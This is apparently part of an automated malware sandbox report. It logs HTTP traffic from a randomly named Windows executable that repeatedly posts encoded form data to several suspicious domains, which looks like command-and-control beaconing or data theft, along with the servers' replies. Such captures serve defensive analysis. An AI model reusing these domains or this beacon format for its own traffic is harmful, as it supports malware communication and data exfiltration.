                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            26192.168.2.449973104.21.40.167801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:13:49.372173071 CET652OUTPOST /kf1m/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 224
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.zkdamdjj.shop
                                                            Origin: http://www.zkdamdjj.shop
                                                            Referer: http://www.zkdamdjj.shop/kf1m/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 74 42 58 6c 4d 53 6b 49 78 4a 38 58 44 6f 46 63 4d 6e 69 4e 72 58 34 74 70 72 51 49 4f 76 47 65 42 49 5a 48 4c 59 6f 63 2b 54 2f 67 74 75 63 74 57 45 78 4d 33 4c 7a 58 2b 6e 72 30 30 73 6e 69 66 52 5a 6a 59 44 71 7a 39 45 6e 4e 44 2b 5a 5a 78 58 4d 49 65 59 53 56 58 38 42 4f 6b 41 34 5a 74 2b 32 6c 4f 6a 75 4f 4a 4a 54 77 49 5a 41 63 68 6b 33 57 74 73 39 6c 56 76 70 2f 33 35 48 6b 42 4b 69 72 67 64 57 64 6f 4d 76 67 4a 32 4d 63 65 4f 31 74 52 6f 34 51 44 47 44 62 35 4a 72 34 69 53 6d 58 6a 7a 58 39 52 2f 77 31 68 62 34 34 6d 2f 49 39 36 74 42 75 6e 36 7a 2f 57 77 61 4d 4b 58 41 44 42 49 43 44 51 30 6f 39 34 34 48 54 38 66 41 48 58 46 34 3d
                                                            Data Ascii: XHa8pH8=tBXlMSkIxJ8XDoFcMniNrX4tprQIOvGeBIZHLYoc+T/gtuctWExM3LzX+nr00snifRZjYDqz9EnND+ZZxXMIeYSVX8BOkA4Zt+2lOjuOJJTwIZAchk3Wts9lVvp/35HkBKirgdWdoMvgJ2MceO1tRo4QDGDb5Jr4iSmXjzX9R/w1hb44m/I96tBun6z/WwaMKXADBICDQ0o944HT8fAHXF4=


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            27192.168.2.449980104.21.40.167801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:13:52.045012951 CET10734OUTPOST /kf1m/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 10304
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.zkdamdjj.shop
                                                            Origin: http://www.zkdamdjj.shop
                                                            Referer: http://www.zkdamdjj.shop/kf1m/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 74 42 58 6c 4d 53 6b 49 78 4a 38 58 44 6f 46 63 4d 6e 69 4e 72 58 34 74 70 72 51 49 4f 76 47 65 42 49 5a 48 4c 59 6f 63 2b 54 33 67 74 59 51 74 55 6c 78 4d 32 4c 7a 58 33 48 71 54 30 73 6d 67 66 52 67 71 59 44 57 4a 39 43 37 4e 43 63 52 5a 77 6d 4d 49 55 59 53 56 49 73 42 4c 71 67 35 45 74 2b 6e 73 4f 69 43 4f 4a 4a 54 77 49 66 6b 63 68 31 33 57 72 73 39 36 51 76 70 4a 7a 35 48 41 42 4b 37 63 67 64 6a 6d 30 76 58 67 4b 57 63 63 63 39 64 74 4c 6f 34 57 43 47 43 62 35 4f 6a 6a 69 53 71 74 6a 79 53 53 52 39 73 31 73 66 31 66 39 64 67 6d 70 62 74 66 31 4c 48 55 56 77 53 78 47 6b 38 6c 48 4b 50 62 45 51 67 47 35 50 57 55 6c 4d 41 55 4d 52 63 45 71 42 74 76 56 53 46 48 7a 69 6f 64 53 52 69 56 4a 71 6c 31 34 4f 50 4b 6c 76 78 66 64 63 70 4b 6d 78 63 4e 37 31 75 59 7a 46 64 49 4a 30 66 72 77 31 58 2f 4a 66 32 44 35 38 59 6e 4a 70 33 6f 34 39 61 41 79 6d 77 39 47 55 4e 2b 57 46 48 6a 7a 34 57 4c 45 59 54 45 4b 6c 71 53 30 7a 56 48 70 59 70 31 37 6a 69 64 53 68 78 69 35 43 67 73 42 4c [TRUNCATED]
                                                            Data Ascii: XHa8pH8=tBXlMSkIxJ8XDoFcMniNrX4tprQIOvGeBIZHLYoc+T3gtYQtUlxM2LzX3HqT0smgfRgqYDWJ9C7NCcRZwmMIUYSVIsBLqg5Et+nsOiCOJJTwIfkch13Wrs96QvpJz5HABK7cgdjm0vXgKWccc9dtLo4WCGCb5OjjiSqtjySSR9s1sf1f9dgmpbtf1LHUVwSxGk8lHKPbEQgG5PWUlMAUMRcEqBtvVSFHziodSRiVJql14OPKlvxfdcpKmxcN71uYzFdIJ0frw1X/Jf2D58YnJp3o49aAymw9GUN+WFHjz4WLEYTEKlqS0zVHpYp17jidShxi5CgsBLtAhxkHeRPck/WIzh7bzlOnJsh987MDhN9AdqcEXTd86O06+pazAE5g9EpFUT/pMBRhlTVAJwynz3P/4wk0S+NrfDh7KYNu0QA8LZ1kP/dUEk3a0XUBvz/ovZJaI/8qM19R99qfCXMEUJS21tWn4SkPfW2MLpfvay/RI4N4F3+lUuAkyikBX+yRopCtsntShupXJGSYQjR0cR6pkXaSq6RIKa8Gjr1Vg8FjL0fikiNCK2U5qv8YPMPPpAcuHEfw8T/TdSho7daU05JTF4ryzsydTIRG2YUZK4oCRAczXZrnaiYOXD80vawHqkM7TPuY5Qapv9K532oXTsK0PbZ1H0gBG03Lf/GXW1uIytRS+YzLUKIB7fiCTBtOJbdokVFtsACoQyzz+GDLlzZfrfdYnm2Qyp1O2zJ7S7d3jNLlDYEr4HRVGUfVioC0t4MzRi5YXfXaFN6Y66cyyW/tzGOzcHaCPXc7b3uQPgtkWp8LEKiOjXN12k7r/qu/fJhdGQxIMRHQpvPr/Xw9Qq1MtuCmGfp32JZwMijtwWwHgpZGn7L5+UC+1qfd/JbQKmG13LkUkVO4jJnDFgabZkRXx6T9E4t/wahGP9sf3WzliunDCQ0Y7AHxMp/9xczSY50bphu3bENve1KTdoQHlX1JeuZceXdO6SSxTtihajvc [TRUNCATED]


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            28192.168.2.449987104.21.40.167801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:13:54.703702927 CET364OUTGET /kf1m/?XHa8pH8=gD/FPiA75bYZCbZAYB/YrW9xurwFI/r4HqBHW8I3+Q/3qqcwdH4XqO3fnm/yt4rkfBlpHF229jnZH/lk0nBoXIiiXeZyn2c+rOjHayKJI+/jeoNtslqItL4=&cBL4=dBU4KtqPg HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Connection: close
                                                            Host: www.zkdamdjj.shop
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Nov 29, 2024 15:13:56.800677061 CET1236INHTTP/1.1 301 Moved Permanently
                                                            Date: Fri, 29 Nov 2024 14:13:56 GMT
                                                            Content-Type: text/html; charset=UTF-8
                                                            Transfer-Encoding: chunked
                                                            Connection: close
                                                            expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                            cache-control: no-cache, must-revalidate, max-age=0
                                                            x-redirect-by: WordPress
                                                            location: https://zkdamdjj.shop/kf1m/?XHa8pH8=gD/FPiA75bYZCbZAYB/YrW9xurwFI/r4HqBHW8I3+Q/3qqcwdH4XqO3fnm/yt4rkfBlpHF229jnZH/lk0nBoXIiiXeZyn2c+rOjHayKJI+/jeoNtslqItL4=&cBL4=dBU4KtqPg
                                                            x-litespeed-cache-control: public,max-age=3600
                                                            x-litespeed-tag: 02a_HTTP.404,02a_HTTP.301,02a_404,02a_URL.fe2f0d048587da8ccb778a9020edc358,02a_
                                                            x-litespeed-cache: miss
                                                            CF-Cache-Status: DYNAMIC
                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GOHnsQdUGRNLqqQ5PC1pK5pR0rwo5%2FY4%2Fw7BqaB%2FEIo6UupY7eYULvDwlQi1whQWBRhu3SobprwltdsttrPZbgjW9dfmz%2BUUKJI2JqTv9ZEZhg4Exog9UHdMJYYmjQXhQmFFMg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                            Server: cloudflare
                                                            CF-RAY: 8ea3337ef92f428e-EWR
                                                            alt-svc: h3=":443"; ma=86400
                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1573&min_rtt=1573&rtt_var=786&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=364&delivery_rate=0&cwnd=220&unsent_bytes
                                                            Data Raw:
                                                            Data Ascii:
                                                            Nov 29, 2024 15:13:56.800697088 CET41INData Raw: 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                            Data Ascii: 0&cid=0000000000000000&ts=0&x=0"0


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            29192.168.2.45000513.248.169.48801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:14:02.637226105 CET617OUTPOST /k1td/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 204
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.tals.xyz
                                                            Origin: http://www.tals.xyz
                                                            Referer: http://www.tals.xyz/k1td/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 6c 47 6b 52 7a 49 4f 68 36 7a 51 32 66 33 7a 66 57 4c 65 6c 71 64 4e 43 48 32 4f 54 6c 51 64 33 58 46 74 32 41 7a 4a 50 30 52 50 65 67 6f 66 66 6b 4f 53 47 33 5a 56 73 52 73 54 67 6b 50 37 63 58 63 62 49 6c 71 6f 48 49 76 50 77 69 4b 77 65 59 55 45 52 58 6c 62 33 64 67 74 6f 4a 54 36 4e 46 45 58 59 48 67 6f 41 59 64 73 4d 38 39 32 70 48 58 61 78 48 65 66 54 73 30 47 4b 34 56 32 67 78 59 53 30 4e 42 6c 61 61 44 44 45 72 6a 6f 6d 68 33 59 58 6a 41 55 31 6b 36 6b 59 4b 4e 72 71 4a 63 74 55 65 64 63 2b 52 72 6c 4c 42 58 47 31 34 4e 6a 67 69 2f 61 36 4b 4d 39 55 57 55 44 6f 49 67 3d 3d
                                                            Data Ascii: XHa8pH8=lGkRzIOh6zQ2f3zfWLelqdNCH2OTlQd3XFt2AzJP0RPegoffkOSG3ZVsRsTgkP7cXcbIlqoHIvPwiKweYUERXlb3dgtoJT6NFEXYHgoAYdsM892pHXaxHefTs0GK4V2gxYS0NBlaaDDErjomh3YXjAU1k6kYKNrqJctUedc+RrlLBXG14Njgi/a6KM9UWUDoIg==


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            30192.168.2.45001213.248.169.48801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:14:05.298914909 CET637OUTPOST /k1td/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 224
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.tals.xyz
                                                            Origin: http://www.tals.xyz
                                                            Referer: http://www.tals.xyz/k1td/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 6c 47 6b 52 7a 49 4f 68 36 7a 51 32 51 31 6e 66 47 63 4b 6c 2f 4e 4e 42 49 57 4f 54 2b 41 64 7a 58 46 68 32 41 79 4e 66 30 6a 37 65 68 4b 58 66 6c 50 53 47 77 5a 56 73 45 63 53 6b 71 76 37 74 58 63 58 71 6c 71 55 48 49 75 76 77 69 50 4d 65 59 6b 34 57 59 56 62 69 44 41 74 75 58 6a 36 4e 46 45 58 59 48 6a 56 64 59 64 30 4d 38 4e 6d 70 48 32 61 77 5a 75 66 63 76 30 47 4b 75 6c 32 6b 78 59 53 7a 4e 41 70 77 61 42 4c 45 72 6e 73 6d 67 6a 45 57 32 77 55 4a 36 4b 6c 34 44 34 4f 34 4f 75 30 41 56 50 30 71 51 35 78 33 4a 78 4c 76 70 38 43 33 77 2f 2b 4a 58 4c 30 67 62 58 2b 68 54 6e 54 6b 33 4a 65 63 52 64 68 4a 59 2f 4a 55 50 2b 69 53 6d 2f 49 3d
                                                            Data Ascii: XHa8pH8=lGkRzIOh6zQ2Q1nfGcKl/NNBIWOT+AdzXFh2AyNf0j7ehKXflPSGwZVsEcSkqv7tXcXqlqUHIuvwiPMeYk4WYVbiDAtuXj6NFEXYHjVdYd0M8NmpH2awZufcv0GKul2kxYSzNApwaBLErnsmgjEW2wUJ6Kl4D4O4Ou0AVP0qQ5x3JxLvp8C3w/+JXL0gbX+hTnTk3JecRdhJY/JUP+iSm/I=


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            31192.168.2.45001913.248.169.48801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:14:08.055191040 CET10719OUTPOST /k1td/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 10304
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.tals.xyz
                                                            Origin: http://www.tals.xyz
                                                            Referer: http://www.tals.xyz/k1td/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 6c 47 6b 52 7a 49 4f 68 36 7a 51 32 51 31 6e 66 47 63 4b 6c 2f 4e 4e 42 49 57 4f 54 2b 41 64 7a 58 46 68 32 41 79 4e 66 30 6a 6a 65 68 2f 62 66 6b 73 71 47 78 5a 56 73 46 63 53 70 71 76 37 4b 58 63 66 75 6c 71 5a 36 49 72 72 77 6a 70 34 65 54 33 67 57 50 46 62 69 4c 67 74 72 4a 54 37 51 46 45 48 63 48 67 74 64 59 64 30 4d 38 4c 4b 70 4f 48 61 77 62 75 66 54 73 30 47 65 34 56 32 63 78 59 4b 38 4e 41 74 4b 61 79 7a 45 71 48 38 6d 69 51 73 57 30 51 55 78 37 4b 6c 61 44 34 4c 6d 4f 75 6f 4d 56 4b 67 41 51 37 74 33 4b 51 2b 77 36 73 47 42 6d 75 69 36 4d 4a 67 39 66 6b 4f 39 52 48 58 42 35 71 6d 6b 50 66 70 6d 62 64 63 34 4c 76 6d 31 37 70 50 2b 4b 2b 73 58 36 73 75 41 34 37 6a 70 67 70 73 77 54 48 4b 72 49 6c 75 2b 69 64 63 32 53 76 6e 7a 65 4c 70 54 2f 4e 38 58 48 78 67 50 50 75 38 7a 54 73 4a 46 46 69 51 30 6f 71 4b 43 6a 31 39 71 49 4e 53 32 6d 79 42 59 79 56 4e 49 58 44 78 4b 45 4c 42 65 72 70 75 30 68 68 62 79 50 2b 31 72 7a 72 78 38 61 4e 79 4a 78 79 6c 53 53 59 2b 4f 79 65 [TRUNCATED]
                                                            Data Ascii: XHa8pH8=lGkRzIOh6zQ2Q1nfGcKl/NNBIWOT+AdzXFh2AyNf0jjeh/bfksqGxZVsFcSpqv7KXcfulqZ6Irrwjp4eT3gWPFbiLgtrJT7QFEHcHgtdYd0M8LKpOHawbufTs0Ge4V2cxYK8NAtKayzEqH8miQsW0QUx7KlaD4LmOuoMVKgAQ7t3KQ+w6sGBmui6MJg9fkO9RHXB5qmkPfpmbdc4Lvm17pP+K+sX6suA47jpgpswTHKrIlu+idc2SvnzeLpT/N8XHxgPPu8zTsJFFiQ0oqKCj19qINS2myBYyVNIXDxKELBerpu0hhbyP+1rzrx8aNyJxylSSY+OyeD5o4C0F1fKiYl+pT+MxkekZ8eAOoc4MSz3+SPimPfc/B6p2hCdt1i6WUgEmFkYfGi3PsKg85jCzUMhsF8lhMYNCtAiddXteMyJdbO2RkW9U7vUhlYP5PZR9A6MwGx8NyhVCdOC7fh43XV8PffI3OtwQxbtJ7FGGiZILggmH7xrH3zyk7xLfwpL84HymgxavFnKl+FdDBTU1KviQJfBwNKuONSPuWTynZk/LOAYfaV4GP+TNHTUKOxnrF009HOAexkIVdQ/Fiiy6SZzAkWh9DJOT+6HrDSTjPwwyZOqvLW2z9wNBwputh2pSEDefE+bhTvfyBHANb8ZoCSBrORvVgaXejN6HqZAAarnZWwgjUKrgHYaJHnrBqIMd7Kd2xLOiBDAaWyJRK4ZjpQoNS07hUTHGn+wSb44NopiWP5gBgp+D9OD4381gqMhOnFKNndXmDAuW2HfcyI8vIQUrzYXHjOaXSl9W+05q2yuQ2D2yM/9yoRPmKMOLKl7/Pw7epuHGC5zTUoE5HMl4VrNRxXT35O8gWSpaNljFZis+rir7hLqeTLn4cYZwzWnnI1+JPGDVgV8QSK26wmwJYHZEd2Mkgj4uokV7l+v8No59zNxHIO0uDzbT5UrQnnu1r/1xsl0l6oHxyUXJuB4lmSdHasRGp35srjTrl+gzqrh [TRUNCATED]


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            32192.168.2.45002613.248.169.48801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:14:10.710968971 CET359OUTGET /k1td/?XHa8pH8=oEMxw+ab8QlEZmTlDbCKptskN0q9+wMHQHNpbkBMxCjDr7HlodnZgfFsQKGKkvz/XYzpvPMYep3+sZsYYHcCTBaIFjRaD0WqdXDHZ0BQI5kG8sOnP1u2RJI=&cBL4=dBU4KtqPg HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Connection: close
                                                            Host: www.tals.xyz
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Nov 29, 2024 15:14:11.847404003 CET398INHTTP/1.1 200 OK
                                                            Server: openresty
                                                            Date: Fri, 29 Nov 2024 14:14:11 GMT
                                                            Content-Type: text/html
                                                            Content-Length: 258
                                                            Connection: close
                                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 58 48 61 38 70 48 38 3d 6f 45 4d 78 77 2b 61 62 38 51 6c 45 5a 6d 54 6c 44 62 43 4b 70 74 73 6b 4e 30 71 39 2b 77 4d 48 51 48 4e 70 62 6b 42 4d 78 43 6a 44 72 37 48 6c 6f 64 6e 5a 67 66 46 73 51 4b 47 4b 6b 76 7a 2f 58 59 7a 70 76 50 4d 59 65 70 33 2b 73 5a 73 59 59 48 63 43 54 42 61 49 46 6a 52 61 44 30 57 71 64 58 44 48 5a 30 42 51 49 35 6b 47 38 73 4f 6e 50 31 75 32 52 4a 49 3d 26 63 42 4c 34 3d 64 42 55 34 4b 74 71 50 67 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                            Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?XHa8pH8=oEMxw+ab8QlEZmTlDbCKptskN0q9+wMHQHNpbkBMxCjDr7HlodnZgfFsQKGKkvz/XYzpvPMYep3+sZsYYHcCTBaIFjRaD0WqdXDHZ0BQI5kG8sOnP1u2RJI=&cBL4=dBU4KtqPg"}</script></head></html>


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            33192.168.2.450036203.161.42.73801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:14:17.433012009 CET653OUTPOST /gn26/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 204
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.brightvision.website
                                                            Origin: http://www.brightvision.website
                                                            Referer: http://www.brightvision.website/gn26/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 53 69 42 7a 57 57 4a 31 73 4f 54 33 51 31 56 38 6c 4b 55 53 31 47 47 6a 68 70 4e 64 55 76 35 63 44 46 68 4c 76 4e 49 75 64 59 6a 6d 52 58 38 79 47 4d 59 6f 72 32 35 48 30 57 72 68 4a 6e 71 31 51 38 69 63 56 4c 32 75 36 4c 67 54 34 49 71 35 74 54 6a 7a 68 63 55 32 44 46 46 4d 42 61 31 56 61 4c 66 66 4c 2f 58 65 30 6d 41 55 75 6d 75 4b 74 32 50 37 52 47 34 4a 2f 45 71 77 50 44 50 30 51 70 35 67 77 4a 4b 54 51 78 75 41 4e 38 55 4a 2b 53 77 35 75 71 50 62 56 59 70 66 4d 44 46 63 6a 65 56 46 55 74 6e 4e 61 45 52 41 4c 6c 37 31 64 67 4a 74 55 63 70 49 6a 53 31 6c 58 51 37 6d 2f 51 3d 3d
                                                            Data Ascii: XHa8pH8=SiBzWWJ1sOT3Q1V8lKUS1GGjhpNdUv5cDFhLvNIudYjmRX8yGMYor25H0WrhJnq1Q8icVL2u6LgT4Iq5tTjzhcU2DFFMBa1VaLffL/Xe0mAUumuKt2P7RG4J/EqwPDP0Qp5gwJKTQxuAN8UJ+Sw5uqPbVYpfMDFcjeVFUtnNaERALl71dgJtUcpIjS1lXQ7m/Q==
                                                            Nov 29, 2024 15:14:18.733575106 CET1236INHTTP/1.1 404 Not Found
                                                            Date: Fri, 29 Nov 2024 14:14:18 GMT
                                                            Server: Apache
                                                            Content-Length: 16052
                                                            Connection: close
                                                            Content-Type: text/html
                                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED]
                                                            Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
                                                            Nov 29, 2024 15:14:18.733604908 CET1236INData Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c
                                                            Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
                                                            Nov 29, 2024 15:14:18.733617067 CET1236INData Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d
                                                            Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
                                                            Nov 29, 2024 15:14:18.733752012 CET1236INData Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66
                                                            Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
                                                            Nov 29, 2024 15:14:18.733762980 CET896INData Raw: 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32 35 30 30 34 37 2c 38 2e 35 38 33 36 38 20 32
                                                            Data Ascii: 2,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000000;stroke-widt
                                                            Nov 29, 2024 15:14:18.733776093 CET1236INData Raw: 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e 39 33 37 35 2c 31 32 34 2e 30 39 39 39 38 20
